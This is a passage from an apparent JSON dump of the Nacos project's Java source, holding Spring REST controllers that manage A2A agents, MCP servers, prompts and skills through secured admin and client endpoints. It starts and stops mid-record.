    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentCardUpdateForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentForm;\nimport com.alibaba.nacos.ai.form.a2a.admin.AgentListForm;\nimport com.alibaba.nacos.ai.param.AgentHttpParamExtractor;\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardVersionInfo;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentVersionDetail;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.List;\n\n/**\n * Nacos A2A Admin controller.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.A2A.ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = AgentHttpParamExtractor.class)\npublic class A2aAdminController {\n    \n    private final A2aServerOperationService a2aServerOperationService;\n    \n    public A2aAdminController(A2aServerOperationService a2aServerOperationService) {\n        this.a2aServerOperationService = a2aServerOperationService;\n    }\n    \n    /**\n     * Register agent.\n     *\n     * @param form the agent detail form to register\n     * @return result of the registration operation\n     * @throws NacosException if the agent registration fails due to invalid input or internal error\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> registerAgent(AgentCardForm form) throws NacosException {\n        form.validate();\n        AgentCard agentCard = AgentRequestUtil.parseAgentCard(form);\n        a2aServerOperationService.registerAgent(agentCard, form.getNamespaceId(), form.getRegistrationType());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Get agent card.\n     *\n     * @param form the agent form to get\n     * @return result of the get operation\n     * @throws NacosApiException if the agent get fails due to invalid input or internal error\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<AgentCardDetailInfo> getAgentCard(AgentForm form) throws NacosApiException {\n        form.validate();\n        return Result.success(\n                a2aServerOperationService.getAgentCard(form.getNamespaceId(), form.getAgentName(), form.getVersion(),\n                        form.getRegistrationType()));\n    }\n    \n    /**\n     * Update agent.\n     *\n     * @param form the agent update form to update\n     * @return result of the update operation\n     * @throws NacosException if the agent update fails due to invalid input or internal error\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> updateAgentCard(AgentCardUpdateForm form) throws NacosException {\n        form.validate();\n        AgentCard agentCard = AgentRequestUtil.parseAgentCard(form);\n        a2aServerOperationService.updateAgentCard(agentCard, form.getNamespaceId(), form.getRegistrationType(),\n                form.getSetAsLatest());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Delete agent.\n     *\n     * @param form the agent form to delete\n     * @return result of the deletion operation\n     * @throws NacosException if the agent deletion fails due to invalid input or internal error\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> deleteAgent(AgentForm form) throws NacosException {\n        form.validate();\n        a2aServerOperationService.deleteAgent(form.getNamespaceId(), form.getAgentName(), form.getVersion());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * List agents.\n     *\n     * @param agentListForm the agent list form to list\n     * @param pageForm the page form to list\n     * @return result of the list operation\n     * @throws NacosException if the agent list fails due to invalid input or internal error\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Page<AgentCardVersionInfo>> listAgents(AgentListForm agentListForm, PageForm pageForm)\n            throws NacosException {\n        agentListForm.validate();\n        pageForm.validate();\n        return Result.success(\n                a2aServerOperationService.listAgents(agentListForm.getNamespaceId(), agentListForm.getAgentName(),\n                        agentListForm.getSearch(), pageForm.getPageNo(), pageForm.getPageSize()));\n    }\n    \n    /**\n     * List all versions for target Agent.\n     *\n     * @param agentForm agent form\n     * @return all version for target agent.\n     * @throws NacosException nacos exception\n     */\n    @GetMapping(\"/version/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<List<AgentVersionDetail>> listAgentVersions(AgentForm agentForm) throws NacosException {\n        agentForm.validate();\n        return Result.success(\n                a2aServerOperationService.listAgentVersions(agentForm.getNamespaceId(), agentForm.getAgentName()));\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/controller/McpAdminController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpDetailForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpListForm;\nimport com.alibaba.nacos.ai.form.mcp.admin.McpUpdateForm;\nimport com.alibaba.nacos.ai.param.McpHttpParamExtractor;\nimport com.alibaba.nacos.ai.service.McpServerOperationService;\nimport com.alibaba.nacos.ai.utils.McpRequestUtil;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerDetailInfo;\nimport com.alibaba.nacos.api.ai.model.mcp.McpToolSpecification;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Nacos AI MCP controller.\n *\n * @author xiweng.yy\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.MCP_ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = McpHttpParamExtractor.class)\npublic class McpAdminController {\n    \n    private final McpServerOperationService mcpServerOperationService;\n    \n    public McpAdminController(McpServerOperationService mcpServerOperationService) {\n        this.mcpServerOperationService = mcpServerOperationService;\n    }\n    \n    /**\n     * List mcp server.\n     *\n     * @param mcpListForm list mcp servers request form.\n     * @param pageForm page info about the request.\n     * @return mcp server list wrapper with {@link Result}\n     * @throws NacosApiException if request parameter is invalid or handle error\n     */\n    @GetMapping(value = \"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Page<McpServerBasicInfo>> listMcpServers(McpListForm mcpListForm, PageForm pageForm)\n            throws NacosException {\n        mcpListForm.validate();\n        pageForm.validate();\n        return Result.success(\n                mcpServerOperationService.listMcpServerWithPage(mcpListForm.getNamespaceId(), mcpListForm.getMcpName(), mcpListForm.getSearch(),\n                         pageForm.getPageNo(), pageForm.getPageSize()));\n    }\n    \n    /**\n     * Get specified mcp server detail info.\n     *\n     * @param mcpForm get mcp server request form\n     * @return detail info with {@link McpServerDetailInfo}\n     * @throws NacosException any exception during handling\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<McpServerDetailInfo> getMcpServer(McpForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        return Result.success(mcpServerOperationService.getMcpServerDetail(mcpForm.getNamespaceId(), mcpForm.getMcpId(), \n                mcpForm.getMcpName(), mcpForm.getVersion()));\n    }\n    \n    /**\n     * Create new mcp server.\n     *\n     * @param mcpForm create mcp server request form\n     * @throws NacosException any exception during handling\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> createMcpServer(McpDetailForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        McpServerBasicInfo basicInfo = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        McpToolSpecification mcpTools = McpRequestUtil.parseMcpTools(mcpForm);\n        McpEndpointSpec endpointSpec = McpRequestUtil.parseMcpEndpointSpec(basicInfo, mcpForm);\n        String mcpId = mcpServerOperationService.createMcpServer(mcpForm.getNamespaceId(), basicInfo, mcpTools,\n                endpointSpec);\n        return Result.success(mcpId);\n    }\n    \n    /**\n     * Update existed mcp server.\n     *\n     * <p>\n     * `namespaceId` and `mcpName` can't be changed.\n     * </p>\n     *\n     * @param mcpForm update mcp servers request form\n     * @throws NacosException any exception during handling\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> updateMcpServer(McpUpdateForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        McpServerBasicInfo basicInfo = McpRequestUtil.parseMcpServerBasicInfo(mcpForm);\n        McpToolSpecification mcpTools = McpRequestUtil.parseMcpTools(mcpForm);\n        McpEndpointSpec endpointSpec = McpRequestUtil.parseMcpEndpointSpec(basicInfo, mcpForm);\n        mcpServerOperationService.updateMcpServer(mcpForm.getNamespaceId(), mcpForm.getLatest(), basicInfo, mcpTools,\n                endpointSpec, mcpForm.isOverrideExisting());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Delete existed mcp server.\n     *\n     * @param mcpForm delete mcp server request form\n     * @throws NacosException any exception during handling\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> deleteMcpServer(McpForm mcpForm) throws NacosException {\n        mcpForm.validate();\n        mcpServerOperationService.deleteMcpServer(mcpForm.getNamespaceId(), mcpForm.getMcpName(), mcpForm.getMcpId(), mcpForm.getVersion());\n        return Result.success(\"ok\");\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/controller/PromptAdminController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.prompt.PromptForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptHistoryForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelBindForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptLabelForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptListForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptMetadataForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptPublishForm;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptMetaSummary;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVariable;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionSummary;\nimport com.alibaba.nacos.ai.param.PromptHttpParamExtractor;\nimport com.alibaba.nacos.ai.service.prompt.PromptAdminOperationService;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport com.fasterxml.jackson.core.type.TypeReference;\nimport jakarta.servlet.http.HttpServletRequest;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\nimport java.util.ArrayList;\nimport java.util.List;\n\n/**\n * Prompt admin controller.\n *\n * <p>Provides REST APIs for prompt management operations.</p>\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.Prompt.ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = PromptHttpParamExtractor.class)\npublic class PromptAdminController {\n    \n    private final PromptAdminOperationService promptOperationService;\n    \n    public PromptAdminController(PromptAdminOperationService promptOperationService) {\n        this.promptOperationService = promptOperationService;\n    }\n    \n    /**\n     * Publish a new version of prompt.\n     *\n     * @param form    the prompt publish form\n     * @param request HTTP request for getting client info\n     * @return result of the publish operation\n     * @throws NacosException if the prompt publish fails\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> publishPrompt(PromptPublishForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptOperationService.publishPromptVersion(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getVersion(),\n                form.getTemplate(),\n                form.getCommitMsg(),\n                form.getDescription(),\n                parseBizTags(form.getBizTags()),\n                parseVariables(form.getVariables()),\n                srcUser,\n                srcIp\n        );\n        return Result.success(success);\n    }\n    \n    /**\n     * Get prompt metadata.\n     */\n    @GetMapping(\"/metadata\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<PromptMetaInfo> getPromptMetadata(PromptForm form) throws NacosException {\n        form.validate();\n        PromptMetaInfo detail = promptOperationService.getPromptMeta(form.getNamespaceId(), form.getPromptKey());\n        return Result.success(detail);\n    }\n    \n    /**\n     * Delete prompt.\n     *\n     * @param form    the prompt form\n     * @param request HTTP request for getting client info\n     * @return result of the deletion operation\n     * @throws NacosException if the prompt deletion fails\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> deletePrompt(PromptForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptOperationService.deletePrompt(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                srcUser,\n                srcIp\n        );\n        return Result.success(success);\n    }\n    \n    /**\n     * List prompts with pagination.\n     *\n     * @param form the prompt list form\n     * @return result of the list operation\n     * @throws NacosException if the prompt list fails\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Page<PromptMetaSummary>> listPrompts(PromptListForm form) throws NacosException {\n        form.validate();\n        Page<PromptMetaSummary> result = promptOperationService.listPrompts(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getSearch(),\n                form.getBizTags(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n        return Result.success(result);\n    }\n    \n    /**\n     * List prompt versions.\n     */\n    @GetMapping(\"/versions\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Page<PromptVersionSummary>> listPromptVersions(PromptHistoryForm form) throws NacosException {\n        form.validate();\n        Page<PromptVersionSummary> result = promptOperationService.listPromptVersions(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getPageNo(),\n                form.getPageSize()\n        );\n        return Result.success(result);\n    }\n    \n    /**\n     * Get prompt detail by specified version, null for latest.\n     */\n    @GetMapping(\"/detail\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<PromptVersionInfo> queryPromptDetail(PromptQueryForm form) throws NacosException {\n        form.validate();\n        PromptVersionInfo detail = promptOperationService.queryPromptDetail(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getVersion(),\n                form.getLabel()\n        );\n        return Result.success(detail);\n    }\n    \n    /**\n     * Bind label to a specified prompt version.\n     */\n    @PutMapping(\"/label\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> bindLabel(PromptLabelBindForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptOperationService.bindLabel(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getLabel(),\n                form.getVersion(),\n                srcUser,\n                srcIp\n        );\n        return Result.success(success);\n    }\n    \n    /**\n     * Unbind label from prompt.\n     */\n    @DeleteMapping(\"/label\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> unbindLabel(PromptLabelForm form, HttpServletRequest request) throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptOperationService.unbindLabel(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getLabel(),\n                srcUser,\n                srcIp\n        );\n        return Result.success(success);\n    }\n    \n    /**\n     * Update prompt metadata (description only).\n     *\n     * @param form    the prompt metadata form\n     * @param request HTTP request for getting client info\n     * @return result of the update operation\n     * @throws NacosException if the update fails\n     */\n    @PutMapping(\"/metadata\")\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Boolean> updatePromptMetadata(PromptMetadataForm form, HttpServletRequest request)\n            throws NacosException {\n        form.validate();\n        String srcUser = request.getRemoteUser();\n        String srcIp = request.getRemoteAddr();\n        boolean success = promptOperationService.updatePromptMetadata(\n                form.getNamespaceId(),\n                form.getPromptKey(),\n                form.getDescription(),\n                parseBizTags(form.getBizTags()),\n                srcUser,\n                srcIp\n        );\n        return Result.success(success);\n    }\n    \n    private List<String> parseBizTags(String bizTags) {\n        if (bizTags == null) {\n            return null;\n        }\n        if (bizTags.trim().isEmpty()) {\n            return new ArrayList<>(0);\n        }\n        String[] split = bizTags.split(\",\");\n        List<String> result = new ArrayList<>(split.length);\n        for (String each : split) {\n            if (each != null && !each.trim().isEmpty()) {\n                result.add(each.trim());\n            }\n        }\n        return result;\n    }\n    \n    private List<PromptVariable> parseVariables(String variables) {\n        if (StringUtils.isBlank(variables)) {\n            return null;\n        }\n        return JacksonUtils.toObj(variables, new TypeReference<List<PromptVariable>>() {\n        });\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/controller/PromptClientController.java",
    "content": "/*\n * Copyright 1999-2026 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.prompt.PromptQueryForm;\nimport com.alibaba.nacos.ai.param.PromptHttpParamExtractor;\nimport com.alibaba.nacos.ai.service.prompt.PromptClientOperationService;\nimport com.alibaba.nacos.api.ai.model.prompt.Prompt;\nimport com.alibaba.nacos.api.ai.model.prompt.PromptVersionInfo;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport jakarta.servlet.http.HttpServletResponse;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RestController;\n\n/**\n * Prompt client controller for prompt runtime read query.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.Prompt.CLIENT_PATH)\n@ExtractorManager.Extractor(httpExtractor = PromptHttpParamExtractor.class)\npublic class PromptClientController {\n    \n    private final PromptClientOperationService promptOperationService;\n    \n    public PromptClientController(PromptClientOperationService promptOperationService) {\n        this.promptOperationService = promptOperationService;\n    }\n    \n    /**\n     * Query prompt by label/version/latest with priority label > version > latest.\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.OPEN_API)\n    public Result<Prompt> queryPrompt(PromptQueryForm form, HttpServletResponse response) throws NacosException {\n        form.validate();\n        try {\n            PromptVersionInfo result = promptOperationService.queryPrompt(\n                    form.getNamespaceId(), form.getPromptKey(), form.getVersion(), form.getLabel(), form.getMd5());\n            return Result.success(convertToClientPrompt(result));\n        } catch (NacosException ex) {\n            if (ex.getErrCode() == NacosException.NOT_MODIFIED) {\n                response.setStatus(NacosException.NOT_MODIFIED);\n                return Result.success(null);\n            }\n            throw ex;\n        }\n    }\n    \n    private Prompt convertToClientPrompt(PromptVersionInfo versionInfo) {\n        Prompt prompt = new Prompt();\n        prompt.setPromptKey(versionInfo.getPromptKey());\n        prompt.setVersion(versionInfo.getVersion());\n        prompt.setTemplate(versionInfo.getTemplate());\n        prompt.setMd5(versionInfo.getMd5());\n        return prompt;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/controller/SkillAdminController.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.controller;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillDetailForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillListForm;\nimport com.alibaba.nacos.ai.form.skills.admin.SkillUpdateForm;\nimport com.alibaba.nacos.ai.param.SkillHttpParamExtractor;\nimport com.alibaba.nacos.ai.service.skills.SkillOperationService;\nimport com.alibaba.nacos.ai.utils.SkillRequestUtil;\nimport com.alibaba.nacos.api.ai.model.skills.Skill;\nimport com.alibaba.nacos.common.utils.NamespaceUtil;\nimport com.alibaba.nacos.api.ai.model.skills.SkillBasicInfo;\nimport com.alibaba.nacos.api.annotation.NacosApi;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.Result;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.core.model.form.PageForm;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.ApiType;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.springframework.web.bind.annotation.DeleteMapping;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.bind.annotation.PostMapping;\nimport org.springframework.web.bind.annotation.PutMapping;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestParam;\nimport org.springframework.web.bind.annotation.RestController;\nimport org.springframework.web.multipart.MultipartFile;\nimport jakarta.servlet.http.HttpServletRequest;\n\n/**\n * Skill admin controller.\n *\n * @author nacos\n */\n@NacosApi\n@RestController\n@RequestMapping(Constants.Skills.ADMIN_PATH)\n@ExtractorManager.Extractor(httpExtractor = SkillHttpParamExtractor.class)\npublic class SkillAdminController {\n    \n    private final SkillOperationService skillOperationService;\n    \n    public SkillAdminController(SkillOperationService skillOperationService) {\n        this.skillOperationService = skillOperationService;\n    }\n    \n    /**\n     * Register skill.\n     *\n     * @param form the skill detail form to register\n     * @return result of the registration operation\n     * @throws NacosException if the skill registration fails\n     */\n    @PostMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> registerSkill(SkillDetailForm form) throws NacosException {\n        form.validate();\n        Skill skill = SkillRequestUtil.parseSkill(form);\n        String skillName = skillOperationService.registerSkill(skill, form.getNamespaceId());\n        return Result.success(skillName);\n    }\n    \n    /**\n     * Get skill.\n     *\n     * @param form the skill form to get\n     * @return result of the get operation\n     * @throws NacosException if the skill get fails\n     */\n    @GetMapping\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Skill> getSkill(SkillForm form) throws NacosException {\n        form.validate();\n        return Result.success(\n                skillOperationService.getSkillDetail(form.getNamespaceId(), form.getSkillName()));\n    }\n    \n    /**\n     * Update skill.\n     *\n     * @param form the skill update form to update\n     * @return result of the update operation\n     * @throws NacosException if the skill update fails\n     */\n    @PutMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> updateSkill(SkillUpdateForm form) throws NacosException {\n        form.validate();\n        Skill skill = SkillRequestUtil.parseSkill(form);\n        skillOperationService.updateSkill(skill, form.getNamespaceId());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * Delete skill.\n     *\n     * @param form the skill form to delete\n     * @return result of the deletion operation\n     * @throws NacosException if the skill deletion fails\n     */\n    @DeleteMapping\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<String> deleteSkill(SkillForm form) throws NacosException {\n        form.validate();\n        skillOperationService.deleteSkill(form.getNamespaceId(), form.getSkillName());\n        return Result.success(\"ok\");\n    }\n    \n    /**\n     * List skills.\n     *\n     * @param skillListForm the skill list form to list\n     * @param pageForm the page form to list\n     * @return result of the list operation\n     * @throws NacosException if the skill list fails\n     */\n    @GetMapping(\"/list\")\n    @Secured(action = ActionTypes.READ, signType = SignType.AI, apiType = ApiType.ADMIN_API)\n    public Result<Page<SkillBasicInfo>> listSkills(SkillListForm skillListForm, PageForm pageForm)\n            throws NacosException {\n        skillListForm.validate();\n        pageForm.validate();\n        return Result.success(\n                skillOperationService.listSkills(skillListForm.getNamespaceId(), 